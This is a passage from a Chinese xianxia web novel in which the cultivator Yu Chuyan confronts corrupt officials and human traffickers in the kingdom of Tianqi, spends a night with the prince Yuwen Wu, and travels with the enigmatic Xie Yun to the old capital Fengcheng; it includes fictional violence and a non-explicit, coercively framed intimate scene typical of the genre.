今日她不出手,大汉不出一周也会暴毙而亡。 她走出店外,心情更差了,大汉捂着手满地打滚,却发不出任何声音,此情此景说不出的诡异。 看余初晏的眼神惊骇无比,深处却有藏不住的杀意。 “我不杀你,脏了我的手。”余初晏垂眼看他,“不出三日你就会死,好好等着下地狱去吧。” 一队巡捕过来,粗暴地将围观人群推搡开,为首之人看到地上的大汉,习以为常地调笑,“大勇,你又在找媳妇呢?这个月第几个了?” 余初晏不自觉皱眉。 被称作大勇的汉子狠狠瞪余初晏一眼,那巡捕顺势抬头望来,眼中闪过惊艳,旋即是贪婪,他向前一步,“夫妻间哪有隔夜仇,快和大勇回去算了。” 说话间,其他巡捕也分散向前,呈包围之势,名为大勇的汉子眼中哪还有畏惧,尽是势在必得。 巡捕和他们也是一伙的,余初晏垂着眼,难怪此处女子稀少。 “巡捕大人——”忽然一名小厮急匆匆跑来。 巡捕不耐地瞥他一眼,“何事,没看见本官在办公吗?” 小厮拿出个荷包塞在他手中,“这位大勇兄弟怕是认错人了,这是我家小姐,我们刚从青渊来此,她什么都不懂,还请巡捕大人多担待些。” 巡捕顺着他的视线望向不远处的朱漆色马车,车窗打开了一条缝,隐约可见内里的人。 此处与青渊地接,确实不少行商往来,城主交代过,万不能得罪这些商贾。 巡捕掂了掂手中荷包,露出三分笑意,“原来如此,想来是大勇眼拙了,本官就说他哪来如此年轻似玉的漂亮媳妇。” “不小心惊扰了姑娘,是我等过错了。” 小厮又是一阵鞠躬哈腰,这才走近余初晏,“小姐快些回去罢,不要和老爷耍小性子了。” 余初晏没有多言,顺着小厮之意,转身离开。 大勇捂着喉咙支吾两声,被那巡捕狠狠踢了两脚,“看什么看?人家富家千金怎么可能和你扯上关系,做你的春秋大梦去。” 大勇张口发不出任何声音,只能眼睁睁看着余初晏渐行渐远。 透过半开的车窗,余初晏望见一双明亮的眼睛。 谢绝小厮的帮助,她轻松登上马车,掀帘入内,所谓的老爷,却是名女子,准确来说是名女扮男装的女子。 她看起来并不年轻,眼尾清晰的细纹,长相英气十足,光看长相无人怀疑她的“男子”身份。 两人对视片刻,余初晏先开了口:“你不是青渊人,为何帮我?” 女子笑,“你为何觉得我不是青渊人?” 周身气势不同,此人明显久居上位,非富即贵,身上有极少的龙气残余,应当是久居帝王身侧,青渊帝身边可没有这号人。 “我自有分辨方法。”余初晏坦然坐下,马车行进,也不知要去往何方,她道,“不过谢谢你出手相助。” 女子眼中闪过深意,“我救的是那些人,你不是凡人,无需我出手相助。” 马车内陷入沉寂,又是僵持不下的长久对视。 “司明,我的名字。” “余初晏。” 司明又笑了,看余初晏的眼神就像是少不更事的晚辈,“你长得与我相熟之人很像,若非你是青渊人,我当以为你是她的孩子。” 余初晏定定地看着她,“未必不是呢。” “那孩子已经死了。”司明摇摇头,面露沉色,“我那故人接受不了女儿的死亡,这些年一直半疯半醒的,疯癫之时无时无刻不在找她的女儿……” “抱歉,说了些无关紧要的事。” “无妨。”余初晏扯出一个笑容,很快低下头,掩去嘴角的嘲讽。 “你要去何处?”司明问。 余初晏想了想,“寻人,我知他在何处,晚点会去找他。” 司明沉吟,“既然如此,到了前方街口,你便自顾离去罢,我要去城主府,也不好相送。” 下马车前,司明问了一句,“你觉得这座城池如何?” 看到余初晏微妙的眼神,她笑,“但说真话无妨。” 司明很爱笑,但她的笑总是隔着层面纱,不似真心。 余初晏手扶在门框处,回首思索,看似问城,实则问国,她又没在天启久居过,又能点评些什么。 不过天启龙脉状态不太行,久久沉睡不醒,恐怕国运有难。 她道:“不如何,大厦将倾,独木难支。” 看司明笑容淡了几分,她又补充,“辅以真龙,未必不能挽。” 说罢,她轻巧跃下马车,逐渐消失在人群中。 司明低喃,“这就是你看到的未来……可真龙,哪是那么容易寻出的……” 收起所有表情,司明乘着马车,缓缓奔向城主府。 她与余初晏就像萍水相逢般,虽交换了名讳,同处过一室,很快又分别,各自踏上不同的路。 - 与司明分别后,余初晏弄了顶斗笠遮面。 她在青渊这么久,耳濡目染也懂些政事,听闻天启皇帝荒淫无道、沉迷享乐,朝廷卖官鬻爵成风,又有世家林立,执掌大权。 朝中贪腐之徒横行,底层官员 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后有名男子追出,似乎与其中某位是夫妻关系,他欲拦下巡捕,救回妻子,却换来了巡捕肆意的拳脚相向。 哀嚎声、叹息声、求救声混成一团。 “晦气。”巡捕冷声道。 “听说孙海那小子不知从哪搞来五六个年轻姑娘,换了个百户头头,咱们怎么就没这好运气,每天都是几个半老徐娘。”另名巡捕愤愤道。 忽而抬首与二楼的余初晏对上了视线。 即使隔着一层皂纱,凭借衣着,他立刻辨认出性别,人也不打了,大步冲向茶楼。 余初晏稳坐窗边,看着其中一名妇人似想以死明志,手中筷子射出,保下了她一命。 她接连弹出不少东西,雅座上能看见的都被她飞射出去,分别击中那几个正在围殴男子,以及桎梏妇人的几名巡捕,几人捂着受伤的手,四处找寻暗器来源。 离了束缚,妇人毫不犹豫狂奔着跑走,另一位则扶起地上的丈夫,两人互相搀扶着退到一旁,眼中惊魂未定。 最初发现余初晏的巡捕也终于跑上了茶馆二楼,猛地踹开她所在的雅间,“巡捕办事!速速配合!” 心中暗喜,此女虽看不到面容,至少身姿卓越,又独身一人,这回他升职稳了。 余初晏回头看他,周身气场赤红,手中沾染人命数条,眉间发黑,带着不怀好意的笑容。 她动了,一息间已经贴近此人,迅速抽出他的佩刀,刀锋向上,用力一挑。 巡捕怀揣着对未来的期许,失去了生息,紧随而来的店小二,只来得及发出一声刺耳的尖叫。 凶手已经破窗而出,手中长刀如血,黑纱在寒风中乱荡。 她落于地面,收刀旋转,几位站在一起的巡捕均被腰斩,暴毙而亡,致死都不知敌人的来头。 剩下的巡捕,有想要逃走寻求帮手的,也有集结起来欲对抗余初晏的,她分辨了一番,沾染太多人命的全杀了,剩下的打晕扔到旁边。 她提着还在淌血的刀,来到那对夫妻面前。 “女侠饶命啊!”男子跪地连连求饶, 余初晏平淡地吐出两个字:“逃吧。” 女子眼中带泪,“多谢恩人救命。” 说罢两人搀扶着消失在巷子中,至于他们后续命运如何,余初晏没有空操心。 她环顾一圈四下躲藏的城民,扔了手中的剑,在城中守卫来临前,消失在了这条街。 - 杀了人,她体内魔珠居然自动运转起来,余初晏眉心紧锁,以灵力强迫魔珠停止运转,她绝不会以杀为道,那样与魔修有何区别。 心中不断生起暴虐的情绪,哪怕用清心咒也无法强压,她知道这是吸收逍遥道人金丹的后遗症。 唯有以真龙之气重新洗荡经脉,才能将这股戾气十足的灵力压下。 于是,宇文芜深夜刚回到房中,就被人强行按在床榻间。 手中的烛台被迫熄灭打翻至地,黑暗中他看不清“刺客”的模样。 张口欲唤暗卫护驾,身上之人开口了:“是我。” 48. 微光 “是我。”余初晏按住宇文芜的手腕,将他束于塌间,后知后觉想起宇文芜雀目,还怕黑,又道, “你房间被我以结界隔开,喊人也无用,你别反抗我就放开你。” 宇文芜真就没有反抗,仰躺在塌上一动不动。 余初晏从芥子里拿出一枚萤石,还未激活,就听他问:“余初晏?” 她没回,手中灵力输送,一小片橘色暖光照在了两人眉眼间。 “你没死?”宇文芜又道。 “谁说我死了。”余初晏俯身凑近他,“你的眼睛能看到吗?” 宇文芜笑了,他笑得全身都在颤抖,眼角笑出了泪花。 以为他犯病,余初晏掐着他的腮帮子,再度俯身。 两人贴得很近,余初晏能感受到他胸腔的颤动,也能看见这双深如潭水的瞳孔中清晰地倒映着她的模样。 终于察觉到他只是在笑,余初晏抬头,“你到底在笑什么?” “我笑赵景泽……苦心孤诣,天天拿着水域图找你……”宇文芜说得断断续续,“而你,却出现在本殿房间……” 听到赵景泽,余初晏顿了顿,“他还好吗?” 宇文芜又是一阵笑,“他再好不过了,要不了多久就要当皇帝了。” 见余初晏不再说话,他终究是敛去了笑意,“青渊太子煞费苦心找你,而你在这里做什么?真如本殿当初所说——” 余初晏忽然给他了一巴掌,将他打得头偏向萤石,萤石的光并不刺目,是仿柔和的日光,但贴得极近,仍会被灼伤双眼。 “我不喜欢你说话的语气。”余初晏冷冷道。 宇文芜嗤笑一声,闭着双目,感受眼皮处温暖的光,“戳到你痛处了?青渊太子妃,半夜出现在另一个男人的床榻。” 余初晏俯视着他,无论看多少次,她都得承认,小草儿这张脸优越到足以让大部分人容忍他的跋扈。 尤其是在萤石光下,他精致的脸庞渡上一层浅浅的橘光,长睫清晰可见,水色的唇未抹胭脂也红得艳丽。 右眼眼尾那枚小痣,睁开眼睛时不易觉察,闭眼却轻轻颤动着,平添三分颜色。 “我需要找人双修。”余初晏忍不住摸了一下他那枚泪痣,换来了对方震惊地瞪视,“你最好配合点,我也不想你受伤。” 宇文芜瞪大双眼,“你疯了?找谁不行,为何找我?” “你以为谁人都可以吗?”余初晏手往下探,却被宇文芜死死抓住手腕。 “我不同意!”他咬牙,坚决不从,“少来招惹我!有赵景泽还不够吗?” “赵景泽的元阳已经吸收过了,双修效果到底不如第一次。”余初晏理所当然,“由不得你不同意!” 宇文芜双颊绯红,狐目似水,“你这个疯子!” “嘴上抗拒,有本事你身体也抗拒啊!赵景泽可不像你这般口是心非。” “闭嘴!” “你行不行啊,不会连双修册子都没看过吧?” “我让你闭嘴!!!” 两人形如幼兽斗殴,衣裳随意散落至地面。 萤石不知何时滚落下塌,塌上只余几丝余光。 余初晏又摸了摸小草儿的眼角,触到一片湿意,不知是汗,还是泪。 宇文芜反手抓住她不安分的手,凑在她耳边低语,“我和赵景泽……谁更好?” 余初晏沉默,双修册子都没看过的人,哪来的勇气问这种话。 被她的反应气笑,宇文芜狠狠咬了一口她的耳骨,血滴渗出。 余初晏去扯他的长发,“你干什么?” 头发传来清晰的刺痛,宇文芜松开牙,转而温柔地轻轻舔去血珠。 “我要你记得我。”潮湿的热气打在耳郭,宇文芜抱紧的怀中人,像一只蛊惑人心水妖。 “你到底看不看得见?”不是说他怕黑吗。 宇文芜轻笑,“你猜。” 他当然看得见,黑暗中那一点点可怜的光足够了。 - 冬日的天光总要来得晚些,余初晏从入定状况转醒时,宇文芜还在睡,他皮肤很白,眼底的青黑便显得格外突出。 经脉里肆意的灵力已经被安抚,魔珠也被她用龙气围裹起来,心中暴虐的念头也不见苗头。 双修好处只多不少,可惜真龙元阳却难得。 穿好衣裳准备就此离开,余初晏想起话本里春风一度后,都要留下些钱财。 纠结了片刻,她在床头留了张纸条,又用碎银压着——这些碎银可是她打叶子牌赚得。 反正小草儿不算有钱,理应不会嫌弃这些银两。 撤了结界,余初晏翻窗而出,汇入人群,就像一滴水汇进潮水中。 今日巡捕全员出行,于城中挨家挨户搜查一位戴着斗笠的华服女子,手持着看不到面容的画像。 进出城池都受到限制,车马也要一一检查过是否有藏人。 大街上人烟稀少,只看见走动的巡捕们。 余初晏坦荡地行走在路中间,无一人关注她。 既然城主想找她,那她正好去拜访一番,看看这座扭曲的城属于哪个世家。 余初晏不费吹灰之力混进城主府,小小一座城的城主居然豢养了不少府兵和暗卫。 在青渊,官员是不允许豢养私兵的,城池附近会有驻扎军,军主由皇帝亲自任命,只听令于虎符和圣令。 一旦发现私兵,那就是谋逆的死罪。 天启居然还能放任手下官员养府兵。 坐在城主书房的屋顶,书房里城主正大发雷霆,“一群废物!养他们花这么多钱,是让他们连个半大小子都抓不住的吗!” 身侧之人劝阻他,“左相如今在府上,大人行事不宜激进,待左相走了后再……也不迟。” “不过是家族中一名出身卑贱的庶子!以为成了左相就飞黄腾达,能与司家抗衡了吗?本城主见他不过看在朝廷的面子上,他若生事,便让他有来无回!” “到底不好让朝廷的人抓了把柄去,如今正是与韩家联姻的关头,若是韩家得了消息,取消联姻……” 城主年勉强压下了怒火,“但那名刺客还是得抓!那两个逃跑的愚妇也抓回来!幽闭之刑伺候!” 下人领命离去,房中只余城主和劝阻他的中年男子,两人在书架上捣鼓一阵,一道暗门徐徐露出,两人打开门入了暗室。 余初晏盘腿坐着,神识在房间搜索,要找罪证的话当然是寻账本,据说贪官奸佞都会记账傍身,留作牵制同伙的把柄。 城主的账本藏得很深,余初晏早就发现了它的踪迹,麻烦的是取出有一系列复杂的机关,她需要抽丝剥茧,才能在不惊动城主的情况下取出。 至于暗室里,关满了旁人为城主搜罗来的年轻女子,部分奄奄一息,甚至不少已经疯癫。 余初晏能救她们,但是救了之后又如何将她们带离,又如何安置,这些她都无头绪,只能分出几丝灵力吊着那几名快死的女孩一口气。 但她在此,也由不得污秽之人继续行事,弄了个足以糊弄凡人的幻决打在两人身上。 于是久经折磨的女子们惊恐地发现,往日折磨她们的城主忽然对他身旁的男子上下其手,而男子也不反抗,两人一脸沉醉。 不多时城主与师爷餍足走出暗室,离开书房,余初晏趁机下去取出了厚厚一叠账本。 举着几本账本,遮住头顶的阳光,余初晏端详着手中这不厚不薄的册子,区区几本却吞噬了数万人的生机。 都说修真者视人命如草芥,凡人自身不遑多让。 至少修真者肆意伤及凡人性命时,天道会即刻降下雷劫惩罚。可凡人就未必了,身前“享福”,身后惩罚,来世受苦又与他今生何关? 带着账册,余初晏找上了司明。 后者明显怔愣了,拿着这些账本反复翻页,不敢置信她周旋多日、在边界数个城市辗转就为了搜集的罪证,如此轻易地摆在了她面前。 余初晏托着下巴眼睛一眨不眨注视着她,“天启也能女子为官吗?” 司明笑她的天真,并不意外被她看出身份,“当然不能。” “但我是‘男 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司明语重心长,“虽说当时情急,但以你的能力,完全可以留下他们性命。况且国有律法,即使他们该死,也应先受过律法的审判……” “那是你们凡人的事。”余初晏杯子重重一放,打断她的说教,“我走了。” 说罢告别都没有,径直消失在房内。 司明一时语塞,确实是她多言了,余初晏太像故人之子,她就忍不住多说了两句,若是那孩子活着,应当也有这般年纪了。 - 余初晏没有回去找小草儿,独自一人又去了趟码头。 她站在高高的楼阁上,目睹一位身形消瘦的妇人,手持着杀猪的屠刀,一下又一下的朝着身下人挥砍。 双目赤红,口中崩溃地嘶喊着:“你这个畜生!将我女儿还回来!还给我!” 躺在地上抽搐的,赫然是昨日的大勇。他的禁言咒未解开,只能像死鱼一般,无神地望着天,口中发出“嗬嗬”的气音,混合着口鼻中的血沫。 周围看戏的人很多,却无一人敢上前帮忙,直道是报应。 巡捕忙于满大街搜查一个永远找不到的女人,更是没空来救他。 妇女手累了,粗喘着,泪水将溅到脸上的鲜血晕染开,原本干净打着补丁的衣裙上满是污血,就像一只从地狱而来的罗刹鬼。 忽然她耳边传来密语,“你女儿在城主府暗室,在北城门口等待两刻钟,跟着那些人,自然能找到你的女儿。” 妇人左顾右盼未见年轻女子,抱着一丝希望,跌跌撞撞跑向城门,路上众人对其退避三舍。 至于躺在地上的大勇,无人在意,任由他在冰冷的地面流失性命。 不愿在天启城镇多待,余初晏带着斗笠踏上新的旅途,与踏马而来的林家军擦身而过。 军队中,一位红缨小将蓦然回首,疾驰的骏马扬起的尘土阻碍了她的视线, 昏黄的尘沙中她只能看见一到远去的背景,纵然身边万马奔腾,那人也行得坦然。 - 宇文芜从短暂而破碎的梦境中挣扎着转醒,门外传来下属叩门声,他下意识探向身侧,床榻上除了他再无旁人。 昨晚的一切放佛梦一场,宇文芜坐起身愣神了片刻,直到他转头看到床头几两碎银和碎银下压着的纸张。 纸张上蝇头小楷写着:“当心名字带金之人”。 宇文芜:“……” 再看一眼混乱的床榻间,他闭眼,竭力压下徒然升起的愤怒——他居然只值五两银子?! 好一个余初晏!最好别落在他手中! 房间内不知何时备下的热水,分明放置已久,犹带适宜的温度。 他浸在水中久久不语,直到下属传音入耳,语气急切:“殿下!城主府有异动!” 穿戴一新的宇文芜打开房门,大步迈出,“走!去见左相!” 49. 谢云 荒无人烟的泥泞小路上,一辆马车奔驰而过,泥水四溅。 水面来不及恢复平静,几名蒙面人飞速掠过,速度居然与受惊的马匹不相上下。 树影婆娑,又是几名黑衣人于树梢穿梭,最终落到马车顶,手中银光一闪,长剑从顶部直直没入车厢内。 抽出长剑,未见血光,他又重复了几次,他的同伴杀死马夫,操控着马车撞上路尽头一棵巨大的柏树。 马匹倒地不起,车厢却坚固无比,不见多少损伤。 黑衣蒙面人手持武器,将车厢团团围住,似乎对车厢里的人有所忌惮。 车门敞开,却无人走出,低沉醇厚的男声道:“树上那位不知名的少侠,还请助谢某人一臂之力,之后必有重赏。” 黑衣人们心中一跳,他们分明未感知到任何外人,说不定是目标垂死挣扎的把戏。 哪知树枝微颤,有人倒挂着从枝叶中冒出,“你拿什么答谢?” 声音清亮悦耳,竟是名年轻女子,车内之人沉默片刻,笑道:“谢某有之物任取。” “这可是你说的。” 女子从树枝上翻下,抱胸站在马车顶,朝着黑衣人们抬下巴,“谁先来,还是一起?” 姿态不可谓不嚣张。 不过是年轻女人,虚虚一探分明没有任何内力,黑衣人们互相对视一眼,举起武器一拥而上。 他们快,余初晏更快,青渊方一出鞘,已经见血,眨眼黑衣人全都失去反抗能力。 女子未伤他们性命,只废了他们武功。 她竖剑,盘腿坐于车顶,“你们该庆幸我最近不杀人。” 马车内男子似乎促狭地笑了一声。 半跪于地的黑衣人们张口一吹,毒针似暴雨般射向马车与女子。 女子甚至没有起身,长剑往车厢猛地一按,强大的气劲将毒针全部振开。 见任务未成,又无法逃脱,几人当下服毒自尽,顷刻间已经尽数气绝。 女子啧啧称奇,说好的最近不开杀戒,他们自己赴死就与她无关了。 察觉到车外再无动静,男子再度开口:“少侠好身手,多谢出手相助。” “你付报酬,我帮你,各取所需。” 女子便是余初晏,她当然不会这么好心救一个分明有能力击退刺客之人,之所以出手不过因为此人又是一位未来真龙。 “只是……”男子迟疑道,“这荒郊野岭的,谢某身无分文,又受了重伤,劳请少侠护送我前往陇州襄县,我定重金酬谢。” 余初晏:“……” 怎么还得寸进尺,别以为她不知道,从此地到他所说之地保守数千里,除非御剑飞行或传送符,一个月未必能达。 说话间男子终于走出车厢,他仅穿着一身灰衣,未有其他配饰,也难掩周身浑然天成的贵气。 他站直,身形颀长,如松如柏,浓墨重彩的眉眼带笑,仰着头与车顶上的余初晏对视。 他的瞳色是棕色,与赵景泽那双清澈见底的琥珀色不同,更像是一双野兽的眼睛。 无论他笑得多谦和,气质也堪称温润而无害,那双眼睛深处仍然蕴藏着冰冷与算计。 “你的算盘珠子都崩我脸上了,”余初晏居高临下,毫不退缩地与他对视,“你付得起酬金吗?” 男子轻轻挑眉,“紫宸之气还不够吗?于你们修真者而言,光是跟在谢某身边就足以修炼了,不是吗?” 这人脸可真大,她腹诽,面上丝毫不显,余初晏轻叩着青渊剑剑身,“那是别的修真者,对我而言,紫宸之气还没那么重要。” 她非要紫宸之气,之前跟着小草儿不就好了,此人高高在上的语气真叫人不悦。 也不知他从何处得知修真者需要紫宸之气,又是如何笃定他就是未来真龙的,总之余初晏可不会被他唬到。 她恶劣一笑,“你自己走着去好了,我在襄县等着你,等你到了再取我的报酬!” 说着真就消失在车顶。 男子微微一讶,站在原地思索了片刻,像是在感知余初晏是否真的离开。 四处都感知不到余初晏,他略一沉吟,下了马车,辨认方向,缓缓前行。 他未带任何东西,奢华的马车与受伤的骏马都置于原地不管不顾,就这般孑然一身远去。 待他离开后,余初晏才重新出现在树下,替可怜的马疗过伤,将其身上贵重的马具通通占为己有,放马回归自然。 马儿轻轻蹭了蹭余初晏,撒开蹄子朝着反方向奔走而去。 连马都有信仰之力,余初晏一阵语塞,突然笑了起来,又在马车上搜索一番,完全没有重要之物,全是些华而不实的装饰。 做完一切她才慢悠悠跟上男子的步伐,虽说今晚有暴雪,但拥有真龙之姿的家伙怎么可能会轻易死亡。 - 北方的风总是裹着黄沙,叫人看不清道路。 在暴雪来临前,余初晏追上了在一所破庙里烤肉的男子。 破庙半边砖墙已经坍塌,完好的另半边瓦片也七零八落,只能勉强遮挡落雪,挡不住肆意的寒风。 火光从窗户中透出,余初晏走进庙中,看到了一尊断头的神像,铜铸的头颅躺在坍塌的废墟中,眼睛似乎随着光影变化而转动,说不出的怪异。 男子并不意外她的到来,举着烤熟的兔肉,“要吃吗?” 兔肉烤得焦黄流油,上面散播了昂贵的香幸料,光看着就十足诱人。 余初晏毫不客气地接过,心道怎么会有人随身携带香料,分明看着什么都没带。 男子见余初晏盘腿一坐,慢条斯理用起兔肉,轻笑:“谢云,我的名字。” “余初晏。” “余姑娘长得倒有些像谢某认识之人。”谢云白日乍一看几乎以为是朋友本人,如今火光下,倒是瞧出了不同。 余初晏挑眉,“别以为攀关系我就会帮你——我是青渊人。” 到天启就是这点麻烦,余初晏又一次烦闷为何她长得不像师尊。 “原来如此,那谢某的故人是土生土长的天启人。” 谢云旋转着手里另一只烤兔,有些人即使身处破败荒芜之地,一举一动仍显得赏心悦目,他问:“修仙者也会吃东西吗?我以为你们已经失去口腹之欲。” “不是你给我吃的吗?”余初晏不上钩,这家伙对修仙者有一定了解,明显在试探她的真实修为。 谢云哑然,从胸腔里发出闷闷的笑声,“我给你就吃,也不怕放了些别的什么……” “凡人的迷药与毒药对修真者无效,你既然知道,又怎么会白费力。” “凡人的无效,那修真者炼制的药物呢。” 余初晏不喜欢这种一句话藏八百个心眼的家伙,她嘴一撇,“你若是有,哪至于落到这种下场。” 赶在谢云再次开口前,余初晏咬着兔肉,含糊道:“我现在不想跟你说话,要是不想被我下禁言咒,就闭上嘴。” 谢云欲言又止,终究是笑着摇头,专注于手上的烤兔肉。 不知何时风雪越来越大,瓦片被吹落至地,砸在地上发出阵阵脆响,火光也摇曳得俞发厉害,木柴噼里啪啦作响。 少量风雪从窗户破洞挤进来,很快化水成冰。 但庙中两人丝毫未受风雪影响,余初晏有灵力护体,谢云同样有股闻所未闻的气劲护体。 余初晏研究了半天,看出了些门道,创立此功法之人堪称天才,他将凡人顶尖功法与修真者心法结合,创造出一套与众不同的体系。 这种功法对不仅修炼者要求很高,在进阶还会有一段虚弱期,谢云此时就处在虚弱期。 不知他实力如何,余初晏对这套功法颇感兴趣,手痒想和谢云比试比试。 用过兔肉后,谢云以稻草铺地,半靠在其间,打起坐来,似乎很信任余初晏不会伤害他。 紧绷的肌肉却暴露了他并不如表面那般平静,时刻保持着警惕。 以眼识相望,余初晏可以清晰地看到灵力与他身边盘旋、环绕,少许甚至汇进他的心脏处,与蓝色的内力交织在一起。 这就违背常理了,余初晏暗忖,天道绝不允许能够吸收灵力之人成为未来真龙,也就是说拥有修仙天赋绝不可能成为凡间皇帝。 也是为了两者平衡。 而谢云却可以,虽说不知是主动还是被动,是功法的原因,亦或是他本身有问题? 余初晏思绪万千,但她不是个好奇心重 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这时他会招呼余初晏过来一起享用,余初晏从来不和他客气,通通吃进腹中。 偶尔余初晏会拿出几枚果子,当作换口味,不怎么好吃的就会分给谢云。 大雪时停时下,天地间只剩下白茫茫的一片,连树木都少有。 途经村庄与城镇谢云很少挨过去,除非实在没了物资,才以银两去换些东西,大都时候他只去富裕的村庄。 路上常有就这么冻死的人,谢云久违地与余初晏搭话,“你知道何为两脚羊吗?” 余初晏知道,但她没答,俯视着衣衫褴褛的尸首,若有所思。 白天两人停停走走,默契地谁也没干扰谁,晚上又会同处一片庇护之地。 “你每天这么跟着我,难道没有其他事要做吗?”谢云问。 余初晏终于有机会理直气壮说出那句:“我没有跟着你,只是顺路。” 谢云微笑,不置可否。 “你才是,每天就这么走,你难道没有自己的下属吗?这么穷酸的紫宸气持有者我也是第一次见!”余初晏反问,“我真的怀疑你付得起报酬吗。” “这么说你见过不少紫宸之气了。”谢云目光一闪。 余初晏不答,让他自己猜。 谢云心有计较,对余初晏的实力也有了大致的预估。 这些天他实力逐渐恢复,脚程明显快了不少,再过几日,就能与下属汇合,但那些人很可能已经追了上来。 第七日,两人抵达了一座城池,天启西边最大的城池,前朝旧都凤城。 听说前朝覆灭时,城中被叛军肆意毁坏,奢华的宫城更是被付之一炬,化作灰烬。 天启建朝后,于东北边的平原另立新都,这所旧城到底没有全部毁坏,反而成了部分世家的聚居地,五十年后的今日重现繁华。 还未靠近城门,他们已经在外郊遭遇了多次刺客伏击,准确来说,目标只有谢云。 谢云实力已经恢复得七七八八,面对众多刺客围剿也从容不迫,不落下风,余初晏借了把破剑给他,舞得挥袂生风。 余初晏多数时候在一旁观察谢云的武功路数与周身灵气变化,只有刺客想要误伤她时,才会出手。 刺客们一次比一次强,最后那批已经是青渊灰衣太监那个水平,但谢云居然和这几位打得有来有回。 几位高手看他的眼神都变了,拿出十二分的势头与他相对,紧密配合下,谢云逐渐有些疲惫难以应付。 眼见那把弯刀就要钩进谢云的后心,余初晏下意识出手,青渊疾驰,撞碎那把弯刀,化解了危机。 刺客方知谢云身边还有高手,互相打过手势后,选择保命撤退。 “多谢余姑娘出手相助。”谢云捂着受伤的胸口,轻轻咳嗽。 余初晏神情莫名,谢云分明能自己躲过去,故意引她出手,而在她出手后,几名刺客迅速遁走。 又被这厮利用了,余初晏心情相当不悦,更是直接将这份不满摆在脸上。 谢云轻扬嘴角,“余姑娘应当知晓,世上没有免费的晚餐,更何况不仅仅是晚餐。” 50. 世家 余初晏憋着怒火,恨不得给面带微笑的谢云来两剑。 “我就吃免费晚餐如何?”她冷笑,“下次再算计我,我不介意让你真受点伤。” 说完先一步进了城,徒留谢云在冰天雪地中,垂眼不语。 这回余初晏没走城门,而是直接隐身符飞跃城墙。 凤城不愧为曾经的京都,城墙厚实坚固,巡卫的士兵数量繁多且装备精良,若她没看错,士兵铠甲内里填充的是棉花而非草絮。 此前她遇到的林家军,正规朝廷军,都只用草絮。 世家就是财大气粗。 城中道路四通八达,雪清得很干净,标准的多个田字组成的城池,城中往来之人虽少,明显分为三六九等。 灰衣褐衣层层叠穿、浑身臃肿的为普通百姓;相对着装齐整,衣服厚实却不肿的多为贵府家丁或是富民。 至于身穿大氅与裘衣,毋庸置疑的世家贵族,这类人少之又少,乘坐着精巧却毫无秩序的马车。 街道上巡逻的城卫很多,着装略有不同,余初晏猜测极有可能是各世家的府兵,明面上充作城卫。 她在城中漫无目的地转悠着,这里比她最初进入的那座天启小城更有活力,哪怕寒冬腊月,仍有农户和商贩在市集叫卖。 柴火与炭火贩子在小巷中穿梭,难怪天启植被少得可怜,冬日木柴需求实在过大。 树林大都属于贵族,百姓除了购买,也只能抢着在无主的山林里捡些。 余初晏听见一对母女交谈,“今年的炭火又涨价了,除了韩家,韩家可是真正的大善人……山林也任由人进去……” “听闻他家佃户都比旁人家少收一成租子,今年收成不算好,更是减免到四成……” “唉,只可惜韩家小姐太多灾多难了些……” 凤城韩家,百年世家,哪怕历经了前朝动荡、改朝换代,依旧屹立不倒。 不仅被众人视为世家之首,更是颇受天启皇室器重,代代都有韩氏贵女入宫为妃,如今的皇贵妃、太子侧妃都出自韩家。 余初晏没了再逛下去的心思,顺着紫宸气去找谢云,打算跟他辞别。 虽说她现在需要紫宸气稳定境界,但比起修为,她更不想长时间滞留凤城,早知道还不如跟小草儿上京去。 找到谢云时,他正站在银号门口与一名身着火红狐裘的女子说话。 女子牵着一匹通体黝黑的骏马,背对着余初晏,只能看到她高高盘起的发髻,和其间的金玉珠翠。 她的声音很高,就如她的衣着般张扬,下巴微抬,道:“怎么来凤城也不告诉我?母亲前些天还提到婚约之事。” 谢云还是那副从容的笑脸,看似完美无瑕,实则拒人千里之外,“那谢某在此恭祝韩小姐早日寻得佳婿。” “谢五你什么意思?要反悔?当初非要与韩家定下婚姻的可是你们!” 女子声音极大,引得路人侧目,看清她的容貌后,又纷纷面露惊色。 谢云神情未变,“与谢某定下婚姻的并非韩二小姐不是吗?” 他那声韩二小姐压得极低,语速又快,旁人听来只能听清韩小姐,路人忍不住循声望去,看看是何等风采的男子胆敢拒绝韩家小姐。 “怎么,你还打算跟一个死人成婚?”韩小姐显然恼羞成怒,“听闻你最近位子也做得不稳,若是韩家改支持谢七……” “请便。”谢云笑容敛去了几分,余光瞥到余初晏靠在对面街头,也不知道听了多少。 他一顿,收回视线复道,“既然韩家不欢迎谢某,那就不便在凤城多待了,谢某会尽快离城。” “谁稀罕。”女子转而骑上高头大马,马蹄高扬几乎要踏中谢云。 在行人的惊呼声中,谢云面不改色。 女子冷嗤一声,用力勒马,硬生生改变马蹄方向,向前奔去,也不管路上其他人,将人逼退,很快消失在街角。 谢云微不可察松口气,再望向街对面,余初晏的身影已然消失。他微微一愣,在原地伫立了片刻,终究还是按照原计划去据点传信与下属。 - 余初晏跟在那女子身后,目睹她在街道上横冲直撞,最终闯进一座森严的大宅之中。 沉重的门扉紧紧叩上,惊扰了树梢上的积雪,落至地面,很快有僮仆前来清扫。 余初晏如幽灵一般,潜入这座百年不倒的世家贵族。 她还是跟着那名女子,跟着她又穿过两道厚实的大门,一直来到内院庭院处才下马改步行。 一路上红墙黄瓦,金碧辉煌,虽处隆冬,每几步距离就能见郁郁绿植种于盆缸之中,生机盎然。 又跟着她来到正房,扑鼻梅香袭来,转过拱门,眼前豁然开朗。 几株腊梅下,是开得正好的秋菊,院中曲水作溪,蜿蜒流动,假山环绕的小池上烟雾缭绕,池中竟是温热之水。 院中温度与国师府湖心岛有得一拼,不过湖心岛是靠师尊结界支撑,而这里实实在在靠人力保持。 女子刚入院,便有一众女侍、嬷嬷上前迎接,手捧温度适宜的热水与手巾,女子站在廊前随意拭过手,问道:“母亲呢?” “回思小姐,您走后夫人又发病了,两刻钟前才歇下。” “啪——”的一声,女子给了回话的侍女一巴掌,声音蕴藏着压制不去的怒火,“说过多少次了,要唤凤小姐,你这双耳朵若是摆设,我不介意让人将它割去。” 侍女跪下称是,又磕头求饶请罪,其他人大气不敢喘,皆垂着眼,规规矩矩立好。 屋内忽然传来凄厉而仓惶的呼喊声,“凤儿!凤儿!娘的凤儿!你在哪……不要和娘捉迷藏了!该回家了!凤儿!凤儿!” 韩思凤阴鸷地瞥一眼地上的侍女,听着房中愈发焦急的喊叫与东西散落的脆响,她终究是迈步,推门而入,“母亲,我在这。” 房门合拢,将母女两的身影掩去,只能听到年轻女子轻声细语的安抚,与逐渐平缓的妇人哀鸣。 